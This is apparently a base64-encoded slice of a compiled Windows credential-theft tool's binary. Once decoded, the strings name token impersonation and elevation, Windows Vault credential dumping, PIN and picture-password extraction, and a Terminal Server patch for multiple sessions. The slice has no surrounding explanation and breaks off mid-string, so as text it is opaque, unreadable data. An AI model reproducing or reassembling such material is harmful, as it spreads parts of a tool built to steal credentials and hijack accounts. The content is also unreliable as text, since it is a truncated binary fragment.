AAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAABFAG4AZAAgACEACgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AbABvAGcAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAHQAcgB1AGUAAAAAAGYAYQBsAHMAZQAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAA4ADYAAAAAAAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAFcAaQBuAGQAbwB3AHMAIABOAFQAIAAlAHUALgAlAHUAIABiAHUAaQBsAGQAIAAlAHUAIAAoAGEAcgBjAGgAIAB4ACUAcwApAAoAbQBzAHYAYwAgACUAdQAgACUAdQAKAAAAQwB1AHIAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAGUAdwA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAFMAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUwBvAHIAcgB5ACAAeQBvAHUAIABnAHUAeQBzACAAZABvAG4AJwB0ACAAZwBlAHQAIABpAHQALgAKAAAARQB4AHAAUwBlAGMAdQByAGUAQgBvAG8AdABWAGUAbgBkAG8AcgAAAEUAZgBpAEIAbwBvAHQAVgBhAHIAaQBhAGIAbABlAHMAAAAAAEsAaQB3AGkARQBmAGkAVgBhAHIAaQBhAGIAbABlAHMAAAAAAEEAUABQAEUATgBEAF8AVwBSAEkAVABFAAAAAAAAAAAAVABJAE0ARQBfAEIAQQBTAEUARABfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAEQAXwBXAFIASQBUAEUAXwBBAEMAQwBFAFMAUwAAAAAASABBAFIARABXAEEAUgBFAF8ARQBSAFIATwBSAF8AUgBFAEMATwBSAEQAAABSAFUATgBUAEkATQBFAF8AQQBDAEMARQBTAFMAAAAAAEIATwBPAFQAUwBFAFIAVgBJAEMARQBfAEEAQwBDAEUAUwBTAAAAAABOAE8ATgBfAFYATwBMAEEAVABJAEwARQAAAAAARABlAGwAIAAuAC4ALgAAAGQAZQBsAAAAUwBlAHQAIAAuAC4ALgAAAHMAZQB0AAAARwBlAHQAIAAuAC4ALgAAAGcAZQB0AAAATABpAHMAdAAgAC4ALgAuAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQBsAHUAZQAgAG0AbwBkAHUAbABlAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgBWAGUAbgBkAG8AcgAgAEcAVQBJAEQAOgAgAAAAAAAAACkACgBMAGUAbgBnAHQAaAAgACAAIAAgACAAOgAgACUAdQAKAEQAYQB0AGEAIAAgACAAIAAgACAAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AbABpAHMAdAAgADsAIABOAHQARQBuAHUAbQBlAHIAYQB0AGUAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBzAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGwAaQBzAHQAIAA7ACAATgB0AEUAbgB1AG0AZQByAGEAdABlAFMAeQBzAHQAZQBtAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAbAB1AGUAcwBFAHgAKABzAGkAegBlACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQAwADgAeAAgACgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkAC4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZwBlAHQAIAA7ACAATgB0AFEAdQBlAHIAeQBTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBnAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAB7AGIAMQA2AGIAMAAwAGIANQAtAGMAYQBmAGUALQBiAGEAYgBlAC0AMABlAGUAMAAtAGQAYQBiAGEAZABhAGIAYQBkADAAMAAwAH0AAAAAADQAMQAwADAAMgAwADAAMAA0AGMAMAAwADYAMQAwADAAMgAwADAAMAA1ADYAMAAwADYAOQAwADAANgA1ADAAMAAyAGMAMAAwADIAMAAwADAANAAxADAAMAAyADAAMAAwADQAYwAwADAAMgA3ADAAMAA0ADEAMAAwADYAZAAwADAANgBmADAAMAA3ADUAMAAwADcAMgAwADAAMAAwADAAMAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABOAHQAUwBlAHQAUwB5AHMAdABlAG0ARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQBsAHUAZQBFAHgAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAeQBzAGUAbgB2AF8AZABlAGwAIAA7ACAAUwB5AHMAdABlAG0AIABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAIABWAGEAcgBpAGEAYgBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAuAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAE4AdABTAGUAdABTAHkAcwB0AGUAbQBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAGwAdQBlAEUAeAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAJQBzACAALQAgAAAARABlAGwAZQBnAGEAdABpAG8AbgAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgAAAEkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAQQBuAG8AbgB5AG0AbwB1AHMAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAByAGUAdgBlAHIAdAAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAGUAbABlAHYAYQB0AGUAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAABEAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGkAZABlAG4AdABpAHQAeQAAAAAAdwBoAG8AYQBtAGkAAAAAAFQAbwBrAGUAbgAgAG0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAbQBvAGQAdQBsAGUAAAB0AG8AawBlAG4AAAAgACoAIABQAHIAbwBjAGUAcwBzACAAVABvAGsAZQBuACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABkAG8AbQBhAGkAbgBhAGQAbQBpAG4AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAATgBvACAAdQBzAGUAcgBuAGEAbQBlACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGgAZQBuACAAUwBZAFMAVABFAE0ACgAAAFQAbwBrAGUAbgAgAEkAZAAgACAAOgAgACUAdQAKAFUAcwBlAHIAIABuAGEAbQBlACAAOgAgACUAcwAKAFMASQBEACAAbgBhAG0AZQAgACAAOgAgAAAAAAAlAHMAXAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AcgBlAHYAZQByAHQAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAAVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQBsAGwAbwB3ACAAbQB1AGwAdABpAHAAbABlAHMAIAB1AHMAZQByAHMAAABtAHUAbAB0AGkAcgBkAHAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAcwAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAATgBlAHgAdAAgAEcAZQBuAGUAcgBhAHQAaQBvAG4AIABDAHIAZQBkAGUAbgB0AGkAYQBsAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAFAAaQBjAHQAdQByAGUAIABQAGEAcwBzAHcAbwByAGQAAAAAAFAAaQBuACAATABvAGcAbwBuAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdABjAGwAaQAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AVmF1bHRFbnVtZXJhdGVJdGVtcwBWYXVsdENsb3NlVmF1bHQAVmF1bHRGcmVlAAAAVmF1bHRHZXRJdGVtAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAJAAkAVQBzAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACUAcwBcACUAcwAAAAAAAABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AXABMAG8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAkACQAgAFsAJQB1AF0AIAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAC4AKgBzAFwAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAWwBVAFMASABPAFIAVABdACAAJQBoAHUAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAWwBTAEkARABdACAAAAAAAFsAQQBUAFQAUgBJAEIAVQBUAEUAXQAKAAAAAAAJAAkAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAACQAJACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABbAFQAeQBwAGUAIAAlADIAdQBdACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPABOAFUATABMAD4AAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABpAG4AZgBvAHMAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAb